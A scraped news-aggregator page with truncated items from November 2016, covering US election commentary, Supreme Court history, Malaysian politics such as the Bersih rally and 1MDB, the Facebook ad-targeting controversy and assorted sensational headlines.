During Richard Nixon’s first term in office he placed three Justices on the Supreme Court: Warren Burger (as Chief) in 1969, and Lewis Powell and William Rehnquist in 1972. That effectively ended the liberal majority on the Court and it has remained an (increasingly) conservative Court ever since. There are many ways in which this has mattered. For example, in 1972, the Supreme Court ruled in Furman v. Georgia that the death penalty as then imposed in the states was unconstitutional. The California Supreme Court banned the death penalty in their state in the time between the oral argument in Furman and the issuance of the decision. The combined result was an effective moratorium on the death penalty that lasted until 1976 when the more Nixonian-flavored Court ruled in Gregg v. Georgia that the death penalty could be imposed provided that the process met certain standards. California’s voters used the initiative process to immediately overrule their Supreme Court and reinstate the death penalty but it did not actually carry out any executions until 1992.

This example demonstrates two things. The first is that it’s possible to eliminate the death penalty in this country and that we may be closer to accomplishing that many people suppose. The second is that even overturned or superseded Court decisions can have long-lasting consequences, both good and bad.

The Nixonian Court, in a series of rulings (most notably Buckley v. Valeo), gutted the campaign finance efforts of legislatures all across the country by defining money as speech. There have many other noteworthy cases since 1972, including the watering down of Roe v. Wade that occurred with Casey v. Planned Parenthood, the infamous Citizens United ruling, and the more recent gutting of the preemptive enforcement mechanisms of the Voting Rights Act.

But all the action hasn’t been on the court. In 1987, the FCC (with all members appointed by either Nixon or Reagan) did away with the Fairness Doctrine. This opened the door for Rush Limbaugh, Fox News, and the erosion of the public interest requirements for broadcast news.

In all of these cases, it took years to see how the rulings would turn out. The death penalty would make a comeback in some states and not in others, while remaining on the books if rarely used by the federal government. It would never become rationally applied or overcome the objections of Justices Brennan and Marshall that it was cruel and unusual in practice. Abortion rights would be whittled away in many states. Every effort to regulate political money woul...

Don't Blame the Apathetic Left "IndyWatch Feed Politics.us"

I understand that Brian Beutler is exhorting Democrats to get out and vote. I understand the argument he is making. But it doesn’t make a whole lot of sense to me to blame low-propensity Democrats for whatever problems Hillary Clinton is supposed to be experiencing. I think the problem is that it’s wrong to think about these voters as “Democrats” in the normal sense of that word. People who don’t vote regularly aren’t really party members. They are just people who exist who (sort of) have opinions that they only sporadically express in any meaningful way.

If you took the entire universe of people who were eligible to register to vote and cast a ballot in 2010 and 2014 but neglected to do so, that universe would be skewed very heavily to the left for the simple reason that apathy runs strongest among the young, the transient, and the underclass. The most regular voters are senior citizens, and people who own homes and have assets are more likely to be registered where they live and to make a habit out of voting in off year elections. The demographics of the Democratic base ensure that apathy will run higher with them than with Republicans.

But it’s a little misleading to think about these marginal voters as the base. They’re the people who don’t know who the vice-president is, who couldn’t tell Watergate from Whitewater, who never read political news and don’t know the difference between Rachel Maddow and Sean Hannity. Most of them probably don’t even know where they stand on the issues until they realize where their friends stand.

A subset of these folks gets activated during a presidential election, but a lot of them are hardly aware that there’s an election coming up in a week and could not possibly care less about the result. If they spent five minutes thinking about it and you compelled them to vote, most of them would vote for either Clinton or a third party candidate. But they’re not Democrats.

The only difference between a presidential year and a midterm year is that more of them are self-activated in a presidential year and more of them are contacted and persuaded to participate in a presidential year.

If you want more of them to vote in a midterm cycle, you can raise and spend more money on voter contact, but you’ll never get anything near a presidential cycle turnout. To match Republican turnout in midterm elections, you have to eat into their base. It’s that simple. No wants to admit this, but it really is that simple.

This wasn’t always the case, but it’s the case now where the Democrats have huge advantages with low-propensity groups, especially young voters. You can attract young voters, as Obama did, and you can craft policies to excite them, but young people will always be...

The Real Comey Effect "IndyWatch Feed Politics.us"

Back on October 12th while Donald Trump was staggering from the fallout surrounding the Access Hollywood tape, Democratic Congressional Campaign Committee chairman Ben Ray Luján circulated a memo he had solicited from a man named Evan Coren. According to the memo, Evan Coren “served 7.5 years on the National Security Council staff” and “has 20 years of experience working in Democratic politics and non-partisan municipal politics.” He also has experience as a campaign manager.

Coren had taken a look at all 435 House races with an eye for finding gems in the rough. The DCCC was already committed to 43 Red-to-Blue candidates and seven more “emerging” candidates. Coren’s job was to identify additional seats that could fall in an especially bad wave election, as then seemed much more possible than the polls indicate is likely today.

His approach wasn’t anything special. He looked at Republican representatives who were either low on money or simply not spending any money on media and ads, or both, and then did a quick survey of how the districts had voted in the 2008 and 2012 elections. This was a potentially flawed analysis because the districts were redrawn between the 2008 and 2012 elections, and it’s not clear to me if he adjusted his numbers to reflect that. Either way, though, it provided a framework for a strategy he recommended to the DCCC.

Essentially, he wanted to replicate “what the Republicans did to us in 2010” and catch a lot of them napping by dumping one million dollars (each) into a couple dozen races that no one thought were competitive. The money was to be spent on “media buys, web ads, social media ads, Spotify/streaming services ads, and (energizing) GOTV volunteers.”

One example he gave was in the Houston suburbs where Rep. John Culberson is taking a challenge from James Cargas. Here was his justification for selecting this district (emphasis in original).

Notes: This suburban Houston district is the type of district where Trump’s collapse with suburban women will have the biggest impact. The district is 31.5% Latino, 12.2% African American, 9.6% Asian and 1.7% Two or more races. Trump should be toxic in this district and with outside support James Cargas can win. Add to this Culberson’s extremely low Cash on Hand and this should be a top target for outside spending.

In other words, it’s both a minority-majority district and a district filled with white suburban women who are appalled by Donald Trump’s behavior and attitude towards women. In addition, he realized that despite sitting on the normally lucrative House Appropriations Committee, for some reason Culberson had “only $132,574 Cash on Hand at end of July 2016.” H...

NFL Should Stick to Sunday Afternoon Football "IndyWatch Feed Politics.us"

I love American football. I was a late bloomer and too small to play it in high school, but I played in flag leagues until I was thirty. Flag league football might sound tame, but taking tackling out of the equation has to be weighed against wearing no helmets or pads. As someone who primarily played linebacker and defensive end, playing football was three hours of bone-crunching hits against other, frequently larger, human beings. My older brother played until he was forty. Shortly before he died last year he questioned whether all the concussions he’d sustained had contributed to the depression that plagued him beginning shortly after he “retired.” Until he mentioned it, the thought hadn’t occurred to me. After his death, his speculation began to plague me.

My wife is adamant that my six year-old son not play the game. He doesn’t accept her reasoning, insisting that he somehow will avoid getting concussions. He’s too young to play in any case, but I feel the pull of both of their arguments. I know the joy of football, and I also know the risks.

As awareness has grown about brain injuries, more and more parents and even football players are keeping their kids away from the game. I imagine it’s taking some toll on how many people even watch football on television, and it’s probably a factor in the bad ratings the NFL is getting this year.

Yet, I have another explanation. For me, professional football is something that happens at 1pm and 4pm on Sunday afternoons. I have never liked it when my New York Giants are scheduled on Monday nights. I like Thursday and Sunday nights even less. The NFL is now airing games at 9:30 in the morning on Sunday because they’re sending teams to London, England to play. In theory, this lets us see more games, but I don’t want to watch that much football and, even if I did, my wife has a tolerance level that can accommodate a six-hour stretch on Sunday afternoon and not much beyond that. I know she is not alone.

There’s a feel to a pro football game on an autumn Sunday afternoon. There’s an element of nostalgia to it. You can remember spending a Sunday afternoon with your Dad watching Joe Theismann and Phil Simms square off. Trying to watch football on Thursday night is like having Christmas on Dec. 21st. Maybe that’s the only time your family can get together to open presents, but it’s not the same.

To me, at least, Sunday afternoon is a key part of the NFL’s brand, and the league has watered it down so much that it has begun to lose it’s grip on that time slot in my life.

There are other factors, like more...

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Argor-Heraeus: Another giant Swiss gold refinery goes on the Sales Lot "IndyWatch Feed World"

By BullionStar

News has just emerged in the gold market that the giant Swiss precious metals refiner, Argor-Heraeus, has held discussions to be acquired, and that the likely outcome is an acquisition by a private equity group. This private equity group is believed to be London-based WRM CapInvest, part of Zurich headquartered WRM Capital. Other interested buyers are also believed to have examined a bid for Argor-Heraeus, including Japanese refining group Asahi and Swiss refining group MKS-PAMP, however, neither of these are thought to be in the running at this stage. Since this news is developing, details of the discussions and potential acquisition are still thin on the ground.

If Argor-Heraeus is acquired, it will mean that 3 of the 4 giant Swiss gold refineries will have been taken over within less than a year and a half of each other.

In July 2015, Indian headquartered Rajesh Exports, the world’s largest gold jewellery fabricator, announced the agreed acquisition of the giant Swiss gold refinery Valcambi. See BullionStar article “Swiss Gold Refineries and the sale of Valcambi” for full details. In July 2016, Japanese precious metals refiner Tanaka Kikinzoku Kogyo K.K , part of the Tanaka Precious Metals group, announced the agreed acquisition of Metalor Technologies, another of the large Swiss gold refineries. Retrospectively, the acquisition of Valcambi by Rajesh Exports now looks to have initiated a flurry of take-over activity in the normally low-key Swiss precious metals refining world.

While Metalor is based in Marin-Epagnier in the Canton of Neuchâtel in northwest Switzerland, the other 3 giant Swiss gold refineries, Argor-Heraeus, Valcambi and MKS-owned PAMP are all lo...

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Hillary Clinton: Trump Has Spent Decades “Assaulting” Women… "IndyWatch Feed Politics.us"

She also drops this bombshell: “For my entire life, I’ve been a woman.” Hillary Clinton says Donald Trump has spent decades “demeaning” women pic.twitter.com/r0zBpG8JUm — Yahoo News (@YahooNews) November 2, 2016

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Pics: I Caught My Husband Having Sex On Our Matrimonial Bed With My Niece, I Divorced Him, He Married Her -Woman Tells Her Sad Story "IndyWatch Feed Africa"

A mother of 3, named, Grace Maina, has narrated how she caught her randy husband having sex with her niece on their matrimonial bed and because of the abomination and shame, she divorced the shameless, disgusting man.. Only to later find out that, the said niece was already 4-month-old pregnant for him, it was so painful that, she had to sell her shop and relocate with her kids... And a month after she left him, the two shameless people (her niece and ex-husband), got married.. 7years after, the silly shameless randy man is begging her to take him back! Just negodu!! #Hissssss.. Read from the horse's mouth below..

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November 3: Daily Contrarian Reads "IndyWatch Feed Economics"

My daily contrarian reads for Thursday, November 3rd, 2016.

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ANCIENT SUMERIAN WRITINGS REVEAL THE EARTH WAS RULED BY EIGHT IMMORTAL KINGS FOR 241,200 YEARS "IndyWatch Feed World"

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More than a dozen copies of a mysterious text referred to as the Sumerian King Lists have been uncovered over the years by archaeologists in regions as disparate as ancient  Full Article »

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‘Hundreds dead’ in migrant shipwrecks off Libya "IndyWatch Feed Africa"

More than 239 migrants are believed drowned in two shipwrecks off the coast of Libya, migration officials say. The UNHCR refugee agency was told the news by two survivors brought ashore on the Italian island of Lampedusa, spokeswoman Carlotta Sami said. No bodies have so far been recovered. More than 4,200 migrants have died making […]

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PART III: Neoconizing the Just War Doctrine in the service of American Empire "IndyWatch Feed Nthamerica"

Join with us as we unravel the de-evolution of rational defense policy and its immersion into the mystical as we explore the radical 1980 re-interpretation of the 4th century Just War Doctrine of the Catholic Church that has gained momentum today as the US confronts the limits of maintaining dominance over the wor5ld with a first strike nuclear policy.

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Rundi to raise Bengoh Dam woes with Adenan "IndyWatch Feed Asia"

State Public Utilities Minister Stephen Rundi Utom said he will discuss outstanding issues regarding Bengoh Dam with Chief Minister Adenan Satem and Mambong Assemblyman Jerip Susil. He was referring in particular to people still carrying out agricultural activities within the security area of the dam, which left it at risk of becoming polluted. “Unlike hydro […]

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PAGE tells NUTP not to turn the table on students "IndyWatch Feed Asia"

Parent Action Group for Education (PAGE) chairman Noor Azimah Rahim today urged the National Union of the Teaching Profession (NUTP) president Kamarozaman Abd Razak not to blame students for the cases of sexual abuse involving teachers. Kamarozaman yesterday blamed students for some of the cases, saying that in some instances, teachers, especially the men, were […]

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This Open Letter To Najib Is Exactly How Malaysians Feel About The Recent Price Hikes "IndyWatch Feed Asia"

“Sincerely, a despondent, powerless young adult struggling to make ends meet.” Yesterday, 1 November, higher prices for fuel and cooking oil came into effect, with diesel at its priciest in 2016 while cooking oil prices are priced up to 60% more for the first time in 10 years. Despite assurances from PM Najib Razak and […]

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Bersih 5 seeks permission to use Amphitheatre as rally venue "IndyWatch Feed Asia"

The organisers of the Bersih 5 Rally in Kuching are now looking to hold it at the Amphitheater at Jalan Budaya on Nov 19. Bersih Sarawak vice-chairperson and the rally coordinator Ann Teo said they are left with the Amphitheater as the last choice for the rally, which will be held simultaneously with similar rallies […]

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Local fundraising is tough, Bersih tells Azalina "IndyWatch Feed Asia"

Bersih 2.0 has criticised a minister for suggesting that proposed political financing legislation be extended to civil society, amid claims that US billionaire George Soros funded local groups. Bersih 2.0 chairman Maria Chin Abdullah said Minister in the Prime Minister’s Department Datuk Seri Azalina Othman Said’s suggestion would only hinder the civil society movement and […]

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Can Parliament amend M’sia Agreement? "IndyWatch Feed Asia"

It was an interesting read, the letter by a Sarawak MP who had voted to amend the Federal Constitution in 1976 to demote Sarawak’s status from a “region” to a “state”. It gave an insight into the thinking of Sarawak MPs on why they voted in the way they did. In the letter to a […]

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The Youths who need to grow up "IndyWatch Feed Asia"

In case it may have somehow escaped your notice, the Bersih 5 rally will be held in Kuala Lumpur on Nov 19. The planned mass protest is likely to turn out as the vast majority of them did: peaceful, with some excruciatingly intense bits in between. Unfortunately, unlike in the previous years, there have already […]

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Guan Eng says baffled after EC accepted objection for excluded Penang federal seats "IndyWatch Feed Asia"

Penang Chief Minister Lim Guan Eng announced today that the Election Commission (EC) only one objection out of nine submitted regarding its proposed redelineation exercise. Of the nine, eight were submitted by the DAP while the sole objection accepted was by the one filed by the Penang state government, which qualifies a representative to attend […]

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Yes, we received funds from OSF, says Malaysian Bar sub-committee "IndyWatch Feed Asia"

A sub-committee of the Malaysian Bar today admitted receiving financial aid from George Soros’ Open Society Foundations (OSF) to undertake research on migrant workers in Malaysia. The Bar’s Migrant, Refugees and Immigration Affairs Chairman N.Ramachelvam said it received USD15,000 (RM53,757.13) last year to fund the on-going project. He said the committee came to know about […]

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Red Shirts threaten to ‘tear down’ Malaysiakini office over Soros funding "IndyWatch Feed Asia"

Some 50 members of the Red Shirts movement marched to Malaysiakini’s office here today to demand an explanation over claims that the news portal received funding from US magnate George Soros’ Open Society Foundations (OSF). Red Shirts leader Datuk Jamal Yunus approached the main gate of the office block here amid heavy presence of police […]

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Cops urge Bersih to cancel its rally "IndyWatch Feed Asia"

Police today advised electoral watchdog Bersih 2.0 to cancel its upcoming rally on November 19, citing security reasons. Dang Wangi district police chief ACP Zainol Samah said this was following information that the Red and Black Shirts are also planning to converge in the city on the same day. “Where they hold it (the rally) […]

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Cops bar Bersih 5 from Dataran Merdeka "IndyWatch Feed Asia"

Police have barred participants of the Bersih 5 rally this month from entering the field of Dataran Merdeka and Jalan Raja, Bersih 2.0 chairman Maria Chin Abdullah said. News portal Malaysiakini reported Chin as saying that the directive however would not hinder the November 19 gathering, as they would proceed with the initial plan and […]

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MP gives examples of Najib’s ‘misleading’ numbers "IndyWatch Feed Asia"

Bukit Mertajam MP Steven Sim has provided three examples where allocations mentioned in Finance Minister Najib Razak’s Budget 2017 speech do not tally with allocations stated in the Federal Expenditure Estimates. Najib, who is also prime minister and Pekan MP, said the Malaysian Communications and Multimedia Commission would provide RM1 billion to enable the country’s […]

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#PodestaEmails27: WikiLeaks releases latest batch of emails from Clinton campaign chair "IndyWatch Feed Politics.us"

More emails from Hillary Clinton’s campaign chair John Podesta have been released by WikiLeaks. The latest batch consists of over one thousand emails, bringing the number released so far to over 44,000. WikiLeaks said it will publish a total of 50,000 emails in the run up to next week’s presidential election. READ MORE: WikiLeaks releases 26th […]

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‘Hounded’ soldiers launch legal challenge against UK military over Iraq abuse claims "IndyWatch Feed Politics.us"

War veterans who claim they have been hounded over allegations of abuse have launched their own legal challenge against the Ministry of Defence (MoD). The case is being brought on the basis that the soldiers, many of whom have faced intense investigation from the Iraq Historic Allegations Team (IHAT), were not properly trained to deal […]

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WATCH LIVE: Melania Trump to give campaign speech in Pennsylvania "IndyWatch Feed Politics.us"

Donald Trump’s wife, Melania Trump, is hitting the campaign trail. She will be speaking at the Main Line Sports Center in Berwyn, Pennsylvania — the first speech on behalf of her husband since her address at the Republican National Convention. The event is scheduled to begin at 2:00…


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Don’t assume victory — Put on some comfortable shoes and go get involved in this election "IndyWatch Feed Politics.us"

As Election Day approaches, it’s oh so easy to dismiss the important role you can play in this election. America is a big country, over 300 million people, but it’s the actions that civic-minded people take that tip the balance. There are so many different ways to help the campaign and…


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Will Barack Obama delay or suspend the election if Hillary is forced out by the new FBI email investigation? "IndyWatch Feed Politics.us"

Just when it looked like Hillary Clinton was poised to win the 2016 election, the FBI has thrown a gamechanger into the mix. On Friday, FBI Director James Comey announced that his agency has discovered new emails related to Hillary Clinton’s mishandling of classified information that they had not previously seen. According to the Associated Press, the newly discovered emails “did not come from her private server”, but instead were found when the FBI started going through electronic devices that belonged to top Clinton aide Huma Abedin and her husband Anthony Weiner. The FBI has been looking into messages

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Minister: MCMC probing news portals over foreign funding claims "IndyWatch Feed Asia"

The Malaysian Communications and Multimedia Commission is investigating complaints on the alleged channeling of foreign funds to certain news portals with the intention of overthrowing the democratically elected government in the country, it was stated here today. Communications and Multimedia Minister Datuk Seri Dr Salleh Said Keruak said a report on the probe would be […]

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Govt would consider cooking oil pricing mechanism, DPM says "IndyWatch Feed Asia"

Deputy Prime Minister Datuk Seri Dr Ahmad Zahid Hamidi said today the government would consider a proposal to establish a cooking oil pricing mechanism. He said the Domestic Trade, Cooperatives and Consumerism Ministry should look into the proposal. “It is a proposal that the ministry must consider. It should also look into suggestions from NGOs, […]

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Soros outfit denies funding overthrow of Malaysian government "IndyWatch Feed Asia"

US billionaire George Soros’s Open Society Foundations today insisted that the money it provides to Malaysian civil society is to “support democratic practice”, among others, and not to remove the current government. Responding to a leaked document purportedly of an OSF meeting that allegedly discussed such an agenda, it also maintained that the funding of […]

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Kit Siang: Is Hadi’s intention of working with Opposition genuine? "IndyWatch Feed Asia"

DAP questioned today if PAS’ statement on wanting to reconcile with other Opposition parties was genuine or if it was aimed at lobbying the Barisan Nasional (BN) government for its Shariah Bill. “We have to study the statement. We hope nobody is playing games. Is he (Hadi) trying to make a stand to Najib? “Saying […]

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Two BSI officials made millions in 1MDB secret profits, court told "IndyWatch Feed Asia"

Two officials of BSI Bank made millions in “secret profits” from their 1MDB dealings, the court was told Wednesday. Kevin Swampillai said he and his subordinate Yeo Jiawei had set up shell companies – Bridge Partners International Management (BPIM) and Bridge Global Managers (BGM) – to receive the “secret profits”. The money was then channelled […]

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Putrajaya is ignoring our demands for reform, says Bersih "IndyWatch Feed Asia"

Bersih 2.0 today accused Putrajaya of turning a deaf ear to their demands and using scare tactics to clampdown on their activities which are essentially calling for reforms. The electoral reform group in a statement today cited several incidents which occurred in the past few days, where police had allegedly “harassed” its members by calling […]

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Speaker chides ex-minister MPs who claim parliamentary immunity to attack govt "IndyWatch Feed Asia"

Lawmakers who used to be Cabinet members but now attack the government from behind the shield of parliamentary immunity are not “gentlemen”, Dewan Rakyat Speaker Tan Sri Pandikar Amin Mulia said today. “When a former minister revealed matters during his time in the Cabinet…. it could bring serious consequences to the standing of prime minister […]

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Dr M ‘jealous’ of Najib administration’s improved ties with China, minister says "IndyWatch Feed Asia"

Tun Dr Mahathir Mohamad’s latest government bashing is due to his jealousy over Prime Minister Datuk Seri Najib Razak’s ability to secure multi-billion dollar investments with China, Datuk Seri Nazri Aziz asserted today. The tourism and culture minister put down the former prime minister’s remarks as seeking to undermine the current administration’s achievements out of […]

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Malaysia foils plans to dump 177 tonnes of toxic waste from Romania "IndyWatch Feed Asia"

Malaysian authorities have foiled a ship’s attempt to unload and illegally dump 177 tonnes of suspected toxic waste here, believed to contain arsenic and cadmium from Romania. The Department of Environment (DOE) said it had received a tip-off regarding the attempt to dump the toxic mining waste in Malaysia, and had cited sources saying that […]

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Lawyer insists endorsement for ‘Malay-Muslim’ Bar Council candidates not racist "IndyWatch Feed Asia"

A lawyer has endorsed five candidates for the upcoming Bar Council election on the basis that they allegedly support the “Malay-Muslim cause”, but denied this was racist in nature. Aidil Khalid confirmed that he made the endorsement in a WhatsApp message intended for a private group, explaining that he wanted greater diversity in the Bar […]

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No decision yet on building nuclear power plants in Malaysia, says Nancy Shukri "IndyWatch Feed Asia"

The government has yet to make any decision on the construction of nuclear power plants in Malaysia, said Minister in the Prime Minister’s Department Datuk Seri Nancy Shukri. Although the Economic Transformation Programme (ETP) targeted the nuclear power plant to be operational by 2021, she said the date would be postponed as the government needed […]

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TABLES TURNED ON PROSECUTION WITNESS IN 1MDB-LINKED TRIAL "IndyWatch Feed Asia"

Ex-BSI banker Yeo Jiawei’s lawyers yesterday turned the tables on Yeo’s former supervisor Kevin Michael Swampillai, saying the accusations the latter had levelled a day earlier were untrue and a bid to get himself off the hook. Mr Swampillai, a prosecution witness, had laid the blame on Yeo, 33, for coming up with ways to […]

DPM: Police will act if Bersih, Red Shirts rally at Dataran Merdeka "IndyWatch Feed Asia"

The police will take action on Bersih 2.0 and the Red Shirts movement if they insist on organising rallies at Dataran Merdeka despite not receiving approval from the venue owner, the Kuala Lumpur City Hall (DBKL), the deputy prime minister said today. “DBKL has issued a letter denying them (Bersih and Red Shirts) permission to […]

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DPM blames Bersih 2.0 for ‘Red Shirts’ "IndyWatch Feed Asia"

The “Red Shirts” movement would not exist if Bersih 2.0 did not hold its mass street protests, Deputy Prime Minister Datuk Seri Ahmad Zahid Hamidi said today. Ahmad Zahid, who is also home minister, pointed out that the movement was started last year in reaction to the Bersih 4 rally then. “I would like to […]

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A sense of purpose at work "IndyWatch Feed Asia"

Employees want to be given a sense of purpose at work and know how their contribution makes a difference. According to findings in the latest Hays Journal, the recruiter says that the value in employee engagement terms of a competitive salary and perks has reduced and been replaced by a desire to work with purpose […]

Allowing bullies to control taxi points? "IndyWatch Feed Asia"

A taxi operator recently declared that drivers of e-hailing services will be barred from picking up passengers at several major hotels and shopping malls in Kuala Lumpur from November. He planned to bring taxi services at these properties under his control, just as he had done so at Kuala Lumpur City Centre where Suria KLCC […]

Great Pyramid Find: Two Mysterious Cavities With Unusual Features "IndyWatch Feed World"

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AFTER 13 YEARS, MAHATHIR TO ATTEND PARLIAMENT AGAIN ON TUESDAY "IndyWatch Feed Asia"

Thirteen years after stepping down as prime minister, Dr Mahathir Mohamad will soon be in Parliament again – this time, to attend a meeting organised by opposition MPs. The meeting follows police investigation against three former cabinet ministers who raised the 1MDB issue in their speeches in the Dewan Rakyat. Veteran MP Lim Kit Siang of […]

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When Good People Share Bad Things — Here’s Why You Need to Fact Check Before You Click Share "IndyWatch Feed Nthamerica"

misinformationAs a growing number of people wake up to the extent of corruption, sharing disinformation can be dangerous. Here's how NOT to do that.

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Lawmakers to Facebook: Don’t Let Advertisers Exclude by Race "IndyWatch Feed Nthamerica"

Four members of Congress wrote Facebook Tuesday demanding that the company stop giving advertisers the option of excluding by ethnic group.

The letter came in response to ProPublica’s story that Facebook allows advertisers to not show ads to those with an “ethnic affinity” for various minority groups. We bought an ad in Facebook’s housing categories that excluded those with an “affinity” for African-American, Asian-American, or Hispanic people.

“This is in direct violation of the Fair Housing Act of 1968, and it is our strong desire to see Facebook address this issue immediately,” wrote the lawmakers, who are members of the Congressional Black Caucus.

Under the Fair Housing Act, it’s illegal to “to make, print, or publish, or cause to be made, printed, or published any notice, statement, or advertisement, with respect to the sale or rental of a dwelling that indicates any preference, limitation, or discrimination based on race, color, religion, sex, handicap, familial status, or national origin.” Violators face tens of thousands of dollars in fines.

Facebook says it polices advertising on its platform. “If we learn of advertising on our platform that involves this kind of discrimination, we will take aggressive enforcement action,” the company wrote in a blog post this weekend.

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Facebook Lets Advertisers Exclude Users by Race

Facebook’s system allows advertisers to exclude black, Hispanic, and other “ethnic affinities” from seeing ads. Read the story.

“Facebook is complicit in promoting restrictive housing practices,” the lawmakers wrote. They called on Facebook founder and CEO Mark Zuckerberg to “remedy this matter swiftly and responsibly.”

In response to the letter, Facebook said in a statement: “We’ve heard from groups and policy makers who are concerned about some of the ways our targeting tools could be used by advertisers. We are li...

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Most activity on the dark web is legal and mundane "IndyWatch Feed Tech"

Terbium Labs has conducted a data-driven, fact-based research report that looked to identify what’s really taking place on the far corners of the Internet. Total findings for all content, measured by URL For most, the term dark web immediately conjures thoughts of illegal drug sales, pornography, weapons of mass destruction, fraud and other criminal acts. The reality however is that the bulk of activity appearing on the dark web is much like the content and … More

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Poll: Donald Trump Edges Ahead in New Hampshire; Ayotte Opens Lead "IndyWatch Feed Politics.us"

PENSACOLA, FL - NOVEMBER 02: Supporters cheer for Republican presidential nominee Donald Trump during a campaign rally at Maritime Park's Hunter Amphitheater November 2, 2016 in Pensacola, Florida. With less than a week before Election Day in the United States, Trump and his opponent, Democratic presidential nominee Hillary Clinton, are campaigning in key battleground states that each must win to take the White House. (Photo by Chip Somodevilla/Getty Images)
A new poll of likely voters in New Hampshire by MassINC Polling Group for Boston-area public radio station WBUR shows Republican presidential nominee Donald Trump one point ahead of Democratic rival Hillary Clinton. The gap is well inside the poll's 4.4% margin of error.

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Australian Aboriginal prehistory, new research "IndyWatch Feed World"

This video says about itself:

Astounding archaeology discovery places inland human occupation of Australia at 49,000 years

2 November 2016

Archaeologists working with traditional Aboriginal owners in the northern Flinders Ranges have discovered astounding evidence of the earliest human habitation of inland, arid Australia.

The find has pushed back the date of such occupation by 10,000 years to about 49,000 years ago.

Warratyi cave’s astounding archaeological evidence

One of the traditional owners of the area, Clifford Coulthard, who is a co-author of the study, said the findings weren’t really a surprise to him.

“Our old people know we’ve been here a long time,” he said.

The site, the Warratyi rock shelter in the traditional lands of the Adnyamathanha people, also has evidence of extinct megafauna, including the diprotodon.

The authors of the study, published on Thursday in Nature, said it finally settles the question of whether humans and megafauna overlapped chronologically.

From Science News:

People settled Australia’s rugged interior surprisingly early

Roots of Aboriginal culture may stretch back at least 49,000 years

By Bruce Bower

3:01pm, November 2, 2016

Australia’s early settlers hit the ground running, or least walking with swift determination. After arriving on the continent’s northwest coast by around 50,000 years ago, humans reached Australia’s southeastern interior within a thousand years or so, researchers find.

This ancient trip covered more than 2,000 kilometers through terrain that, although stark and dry today, featured enough lakes and rivers at the time of A...

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2016 U.S. Elections: The Ballot Initiatives "IndyWatch Feed Tech"

There are 155 ballot measures being voted on during the 2016 U.S. elections on November 8th, according to the National Conference of State Legislatures (NCSL). Eight measures were voted on before November, and the 155 count includes Washington, D.C.'s statehood referendum. Hundreds of local ballot measures are not reflected in this count.

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FIRE-EARTH Alert: VSLT "IndyWatch Feed Enviro"

CJ Members FIRE-EARTH Alert: VSLT Details of the Alert are available from FIRE-EARTH PULSARS.  Filed under: News Alert Tagged: 001103, CJ Members, Fire-Earth Alert, FIRE-EARTH PULSARS, VSLT

23:51

Something big is underway on all fronts: “Within the next few weeks the future of the united states will be decided” "IndyWatch Feed Nthamerica"

As of this writing, the increased U.S. troop presence in Eastern Europe includes a battalion-sized element of American troops being emplaced in the Suwalki Gap, Polish territory that borders Lithuania in a 60-mile stretch of corridor.  The Russian Defense Ministry announced that 600 Russian and Belarussian airborne troops conducted training exercises in Brest, on the Belorussian-Polish border only a few miles from where the U.S. forces are deploying in Poland.  This on the heels of Britain deploying 800 men, tanks, and jets to Estonia, along with pledges of Challenger 2 tanks, APC’s (Armored Personnel Carriers), and drones.  Two companies of French and Danish Soldiers will join the British in the deployment to Estonia.

For the first time since 1945, Norway has violated its treaty with Russia (then the Soviet Union) not to station foreign troops on its soil.  A company of U.S. Marines will soon be stationed for a 6-month deployment in Norway.  The situation is heating up in Ukraine, according to a report on fort-russ.com entitled Ukraine Moves Massive Force up to Lugansk Frontline, published October 28, 2016 The report reveals the Ukrainian Army is deploying 3,500 soldiers and 200 armored vehicles of the 15th Motorized Infantry Brigade to Krasny Oktyabr in the district of Lugansk in Eastern Ukraine.  For the first time in history, Romanian airspace is being patrolled by the RAF (Royal Air Force) of Britain.

In addition, the Ukrainian National Guard is deploying a tactical company equipped with 82 mm mortars and AGS-17 auto grenade launchers, along with APC’s and missile launchers.  A separate reconnaissance battalion named the “Night Shades,” a nationalist volunteer battalion will be deploying to Lugansk as well.  No doubt they will receive a “warm” reception, as the fighting has been ongoing in the region for more than two years.  The area is a severe flashpoint, as the separatists are ethnic Russians of Ukrainian nationality who wish to secede in the manner that Crimea did…Russia annexed them after the popular vote to leave Ukraine.  Now (since December 2015) the Congress gave the green light to send weapons and munitions to Ukraine; the “holdup” is due to Obama not wanting to jeopardize the election of Hillary Clinton, as the Russians have stated weapons to Ukraine means war with the U.S. and NATO.

Meanwhile the Varshankya-class stealth subs are deploying into the Black Sea as the Russian fleet is moving toward Syria.  The Russian and Syrian armies continue to bomb and attack the al-Nusra/Jabhat Fatah ash-Sham fighters emplaced in the city of Aleppo.  The mainstream media, meanwhile, is faltering in its attempt to create a “sacred U.S.-coalition crusade” to “free the city of Mosul,” as the offensive is not working quite as planned.  There are also reports that the U.S. government ha...

23:50

Build a Prepper’s Medical Emergency Kit on a Budget "IndyWatch Feed Economics"

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Build a Prepper’s Medical Emergency Kit on a Budget When disaster strikes, you want to know that you have done what you can to prepare for the worst. If an event such as a hurricane or nuclear disaster forces you and your family to leave your home without warning, you could easily find yourself in a serious…

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23:48

October Gun Sales See Massive Spike, Set Yet Another Record "IndyWatch Feed Politics.us"

Obvious reaction to the possibility of Hillary being elected. Via Washington Free Beacon: The FBI’s background check system for gun sales processed more than 2.3 million checks in October, setting an all-time record for the month. There were 2,333,539 gun-related checks processed through the National Instant Criminal Background Check System, known as NICS, last month, […]

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S’borough Paper Publishes SBC Criticism & Resignation Call "IndyWatch Feed Europe"

Scarborough Paper Publishes SBC Criticism & Resignation Call

In the wake of the Ben MARRIOTT corruption allegations and the serious questions raised regarding unseen aspects of the Futurist Theatre demolition proposals, local paper The Scarborough News has again published pieces questioning the motives and methods of Scarborough Borough Council – including a letter from a member of the Fylingthorpe public calling for the resignation of CEO Jim DILLON and Leader Councillor Derek BASTIMAN [Con.].

This continues a welcome sea-change in the way the newspaper covers Council affairs.

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Tory majority thrown into question

Silence continues to reign supreme over the summary dismissal from both the Cabinet and the Police & Crime Panel of Councillor Michelle DONOHUE-MONCRIEFF by the Leader, with no public word on her suspension (insensitively instigated by Tory Group Leader Councillor Joe PLANT [Con.] – on World Mental Health Day!) from the Conservative Group – though this has a significant impact on the minimal Tory majority of 26:24 seats on the Council, reducing it to Even Steven.

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An expert on Conservative Party membership regulations has confirmed that Councillor Michelle DONOHUE-MONCRIEFF is presently entitled to take her seat as an Independent Conservative [Ind.Con.] – NOT subject to the Tory Whip.

However, the SBC website still lists Councillor DONOHUE MONCRIEFF as a Conservative – which suggests that Officers may be wittingly colluding in p...

23:45

When smartphone upgrades go wrong "IndyWatch Feed Tech"

